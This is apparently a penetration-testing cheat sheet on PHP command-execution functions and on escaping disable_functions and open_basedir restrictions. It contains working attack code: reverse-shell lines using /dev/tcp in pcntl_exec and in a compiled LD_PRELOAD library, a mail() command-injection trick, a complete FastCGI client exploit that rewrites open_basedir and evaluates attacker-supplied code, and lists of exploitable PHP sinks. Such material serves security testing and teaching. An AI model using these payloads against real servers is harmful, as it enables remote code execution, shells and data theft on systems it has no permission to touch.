PHP - Useful Functions & disable_functions/open_basedir bypass

PHP Command & Code Execution

PHP Command Execution

exec - Returns last line of commands output

echo exec("uname  -a");

passthru - Passes commands output directly to the browser

echo passthru("uname -a");

system - Passes commands output directly to the browser and returns last line

echo system("uname -a");

shell_exec - Returns commands output

echo shell_exec("uname -a");

`` (backticks) - Same as shell_exec()

echo `uname -a`

popen - Opens read or write pipe to process of a command

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Similar to popen() but greater degree of control

proc_close(proc_open("uname -a",array(),$something));


<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Executes a program (by default in modern and not so modern PHP you need to load the module to use this function)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/ 0>&1"]);

mail / mb_send_mail - **This function is used to send mails, but it can also be abused to inject arbitrary commands inside the $options parameter. This is because php mail function usually call sendmail binary inside the system and it allows you to put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:

file_put_contents('/www/', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/', 0777);  mail('', '', '', '', '-H \"exec /www/\"'); echo file_get_contents('/tmp/flag.txt');

dl - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read this page to learn how to exploit this function.

PHP Code Execution

Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities. ${<php code>} - If your input gets reflected in any PHP string, it will be executed. eval() assert() - identical to eval() preg_replace('/.*/e',...) - /e does an eval() on the match create_function() - Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); or $func->invokeArgs(array()); serialize/unserialize

disable_functions & open_basedir

Disabled functions is the setting that can be configured in .ini files in PHP that will forbid the use of the indicated functions. Open basedir is the setting that indicates to PHP the folder that it can access. The PHP setting sue to be configured in the path /etc/php7/conf.d or similar.

Both configuration can be seen in the output of phpinfo():

open_basedir Bypass

open_basedir will configure the folders that PHP can access, you won't be able to to write/read/execute any file outside those folders, but also you won't even be able to list other directories. However, if somehow you are able to execute arbitrary PHP code you can try the following chunk of codes to try to bypass the restriction.

Listing dirs with glob:// bypass

In this first example the glob:// protocol with some path bypass is used:

$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
foreach($file_list as $f){  
        echo "{$f}<br/>";

Note1: In the path you can also use /e??/* to list /etc/* and any other folder. Note2: It looks like part of the code is duplicated, but that's actually necessary! Note3: This example is only useful to list folders not to read files

Full open_basedir bypass abusing FastCGI

If you want to learn more about PHP-FPM and FastCGI you can read the first section of this page. If php-fpm is configured you can abuse it to completely bypass open_basedir:

Note that the first thing you need to do is find where is the unix socket of php-fpm. It use to be under /var/run so you can use the previous code to list the directory and find it. Code from here.

 * Note : Code is released under the GNU LGPL
 * Please do not change the header of this file
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU Lesser General Public License for more details.
 * Handles communication with a FastCGI application
 * @author      Pierrick Charron <>
 * @version     1.0
class FCGIClient
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
     * Socket
     * @var Resource
    private $_sock = null;
     * Host
     * @var String
    private $_host = null;
     * Port
     * @var Integer
    private $_port = null;
     * Keep Alive
     * @var Boolean
    private $_keepAlive = false;
     * Constructor
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
        $this->_host = $host;
        $this->_port = $port;
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     * @param Boolean $b true if the connection should stay alive, false otherwise
    public function setKeepAlive($b)
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
     * Get the keep alive status
     * @return Boolean true if the connection should stay alive, false otherwise
    public function getKeepAlive()
        return $this->_keepAlive;
     * Create a connection to the FastCGI application
    private function connect()
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
     * Build a FastCGI packet
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
    private function buildPacket($type, $content, $requestId = 1)
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
     * Build an FastCGI Name value pair
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
    private function buildNvpair($name, $value)
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        /* nameData & valueData */
        return $nvpair . $name . $value;
     * Read a set of FastCGI Name value pairs
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
    private function readNvpair($data, $length = null)
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        return $array;
     * Decode a FastCGI Packet
     * @param String $data String containing all the packet
     * @return array
    private function decodePacketHeader($data)
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
     * Read a FastCGI Packet
     * @return array
    private function readPacket()
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            return $resp;
        } else {
            return false;
     * Get Informations on the FastCGI application
     * @param array $requestedInfo information to retrieve
     * @return array
    public function getValues(array $requestedInfo)
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
     * Execute a request to the FastCGI application
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
    public function request(array $params, $stdin)
        $response = '';
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
        } while ($resp && $resp['type'] != self::END_REQUEST);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
            case self::REQUEST_COMPLETE:
                return $response;
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
    $filepath = $_REQUEST['filepath'];
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file =";
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";

This scripts will communicate with unix socket of php-fpm (usually located in /var/run if fpm is used) to execute arbitrary code. The open_basedir settings will be overwritten by the PHP_VALUE attribute that is sent. Note how eval is used to execute the PHP code you send inside the cmd parameter. Also note the commented line 324, you can uncomment it and the payload will automatically connect to the given URL and execute the PHP code contained there. Just access file_get_contents('/etc/passwd'); to get the content of the /etc/passwd file.

You may be thinking that just in the same way we have overwritten open_basedir configuration we can overwrite disable_functions. Well, try it, but it won't work, apparently disable_functions can only be configured in a .ini php configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting.

disable_functions Bypass

If you manage have PHP code executing inside a machine you probably want to go to the next level and execute arbitrary system commands. In this situation is usual to discover that most or all the PHP functions that allow to execute system commands have been disabled in disable_functions. So, lets see how you can bypass this restriction (if you can)

Automatic bypass discovery

You can use the tool and it will indicate you which technique you can use to bypass disable_functions.

Bypassing using other system functions

Just return to the begging of this page and check if any of the command executing functions isn't disabled and available in the environment. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.


It's well known that some functions in PHP like mail()are going to execute binaries inside the system. Therefore, you can abuse them using the environment variable LD_PRELOAD to make them load an arbitrary library that can execute anything.

Functions that can be used to bypass disable_functions with LD_PRELOAD

  1. mail

  2. mb_send_mail : If your system has php-mbstring module installed then this function can be used to bypass php disable_functions.

  3. imap_mail : If your system has php-imap module installed then this function also can be used to bypass the php disable_functions.

  4. libvirt_connect : If your system has php-libvirt-php module installed then this function also can be used to bypass disable_functions.

  5. gnupg_init : If your system has php-gnupg module installed then this function also can be used to bypass disable_functions.

  6. new imagick(): You can find here a writeup to learn how to abuse this class

You can find here the fuzzing script that was used to find those functions.

Here is a library you can compile to abuse the LD_PRELOAD env variable:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    system("bash -c \"sh -i >& /dev/tcp/ 0>&1\"");
    return 1;

Bypass using Chankro

In order to abuse this misconfiguration you can Chankro. This is a tool that will generate a PHP exploit that you need to upload to the vulnerable server and execute it (access it via web). Chankro will write inside the victims disc the library and the reverse shell you want to execute and will use theLD_PRELOAD trick + PHP mail() function to execute the reverse shell.

Note that in order to use Chankro, mail and putenv cannot appear inside the disable_functions list. In the following example you can see how to create a chankro exploit for arch 64, that will execute whoami and save the out in /tmp/chankro_shell.out, chankro will write the library and the payload in /tmp and the final exploit is going to be called bicho.php (that's the file you need to upload to the victims server):

whoami > /tmp/chankro_shell.out

If you find that mail function is blocked by disabled functions, you may still be able to use the function mb_send_mail. More information about this technique and Chankro here:

"Bypass" using PHP capabilities

Note that using PHP you can read and write files, create directories and change permissions. You can even dump databases. Maybe using PHP to enumerate the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key).

I have created a webshell that makes very easy to perform this actions (note that most webshells will offer you this options also):

Modules/Version dependent bypasses

There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version:


The code with more options mentioned here available I have found is

Other Interesting PHP functions

List of functions which accept callbacks

These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used. Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2,

Information Disclosure

Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability. phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid


extract - Opens the door for register_globals attacks (see study in scarlet). parse_str - works like extract if only one argument is given. putenv ini_set mail - has CRLF injection in the 3rd parameter, opens the door for spam. header - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid

Filesystem Functions

According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow_url_fopen=On then a url can be used as a file path, so a call to copy($_GET['s'], $_GET['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.

Open filesystem handler

fopen tmpfile bzopen gzopen SplFileObject->__construct

Write to filesystem (partially in combination with reading)

chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng - 2nd parameter is a path. imagewbmp - 2nd parameter is a path. image2wbmp - 2nd parameter is a path. imagejpeg - 2nd parameter is a path. imagexbm - 2nd parameter is a path. imagegif - 2nd parameter is a path. imagegd - 2nd parameter is a path. imagegd2 - 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir

Read from filesystem

file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags

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